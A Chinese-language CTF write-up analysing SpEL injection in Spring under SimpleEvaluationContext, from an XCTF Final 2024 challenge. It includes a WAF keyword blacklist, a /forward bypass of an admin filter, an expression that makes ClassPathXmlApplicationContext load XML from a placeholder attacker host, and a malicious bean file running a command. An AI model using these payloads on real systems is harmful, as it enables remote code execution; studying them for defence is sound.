SimpleEvaluationContext 条件下spel注入
字数 1521 2025-08-24 07:48:09
SimpleEvaluationContext条件下SpEL注入分析与利用
前言
本文详细分析在SimpleEvaluationContext限制条件下的SpEL(Spring Expression Language)注入漏洞,基于2024 XCTF Final的一道题目进行技术剖析。与传统的SpEL注入不同,这种场景下由于使用了SimpleEvaluationContext而非StandardEvaluationContext,使得常规的利用方法失效,需要寻找新的利用路径。
环境分析
关键代码组件
-
WAF拦截器 (EzAspect)
- 黑名单过滤:
"T(", "new ", ".class", ".getClass(", ".forName(" - 拦截所有
com.ctf.ezspel.controller包下的方法调用 - 对String类型参数进行黑名单检查
- 黑名单过滤:
-
访问过滤器 (EzFilter)
- 拦截所有
/admin/*路径的请求 - 返回"nonono, you are not admin"拒绝访问
- 拦截所有
-
控制器路由
/admin/eval:核心漏洞点,接收name和expr参数/forward:请求转发功能,可用于绕过admin访问限制
核心漏洞代码
// AdminController.java
@RequestMapping({"/eval"})
public String buildArray(String name, String expr) {
try {
Class clazz = Class.forName(name);
Object array = Array.newInstance(clazz, 1);
Object object = Util.eval(array, expr);
return object.getClass().getName();
} catch (Exception var6) {
this.logger.warn(var6);
return var6.toString();
}
}
// Util.java
public static Object eval(Object root, String expr) {
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(expr);
return expression.getValue(context, root);
}
利用限制分析
-
SimpleEvaluationContext限制
- 与StandardEvaluationContext相比,SimpleEvaluationContext限制了大部分危险操作
- 无法直接执行
T()类型操作、构造函数调用等
-
WAF限制
- 过滤了常见的SpEL危险操作关键字
- 阻止了直接的类加载和方法调用
突破思路
1. 绕过admin访问限制
利用/forward路由进行请求转发:
/forward?forward=/admin/eval
2. SimpleEvaluationContext下的SpEL注入
关键发现:通过数组操作触发构造函数调用
利用链:
#root[0]='恶意值' → 触发数组元素赋值 → 触发对象转换 → 触发构造函数
具体步骤:
- 控制
name参数为org.springframework.context.support.ClassPathXmlApplicationContext - 控制
expr参数为#root[0]='http://attacker/poc.xml' - 表达式解析会尝试将字符串赋值给数组元素
- 由于目标类型是ClassPathXmlApplicationContext,会触发其构造函数
- 构造函数加载远程XML配置文件
3. 恶意XML构造
poc.xml示例:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="evil" class="java.lang.String">
<constructor-arg value="#{T(Runtime).getRuntime().exec('calc')}"/>
</bean>
</beans>
技术原理深度分析
表达式解析流程
-
parser.parseExpression(expr)解析表达式- 将
#root[0]='ip/poc.xml'解析为AST树 - 识别为赋值操作
- 将
-
expression.getValue(context, root)执行- 创建ExpressionState上下文
- 调用AST节点的getValueInternal方法
-
赋值操作执行
- 进入
Indexer.setArrayElement方法 - 调用
convertValue进行类型转换
- 进入
关键转换流程
// ObjectToObjectConverter.convert
public Object convert(@Nullable Object source, TypeDescriptor sourceType, TypeDescriptor targetType) {
// ...
return BeanUtils.instantiateClass(constructorToUse, source);
}
// 最终触发ClassPathXmlApplicationContext构造函数
public ClassPathXmlApplicationContext(String[] configLocations, boolean refresh,
@Nullable ApplicationContext parent) throws BeansException {
super(parent);
this.setConfigLocations(configLocations); // 设置配置位置
if (refresh) {
this.refresh(); // 触发XML解析
}
}
调用栈
<init>:141, ClassPathXmlApplicationContext
<init>:85, ClassPathXmlApplicationContext
newInstance:-1, NativeConstructorAccessorImpl
newInstance:77, NativeConstructorAccessorImpl
newInstance:45, DelegatingConstructorAccessorImpl
newInstanceWithCaller:499, Constructor
newInstance:480, Constructor
convert:113, ObjectToObjectConverter
invokeConverter:41, ConversionUtils
convert:182, GenericConversionService
convertValue:82, StandardTypeConverter
convertValue:453, Indexer
setArrayElement:381, Indexer
setValue:489, Indexer$ArrayIndexingValueRef
setValueInternal:108, CompoundExpression
getValueInternal:42, Assign
getValue:114, SpelNodeImpl
getValue:338, SpelExpression
eval:35, Util
buildArray:25, Util
防御建议
- 避免使用SimpleEvaluationContext时传递用户可控的root对象
- 对Class.forName的参数进行严格过滤
- 禁止XML外部实体引用
- 升级Spring框架到最新版本
总结
本案例展示了在SimpleEvaluationContext限制下,通过精心构造的root对象和表达式,仍然可能实现SpEL注入。关键在于利用类型转换机制触发构造函数调用,进而加载恶意配置。这种利用方式绕过了常规的SpEL注入防护措施,具有较高的隐蔽性和危害性。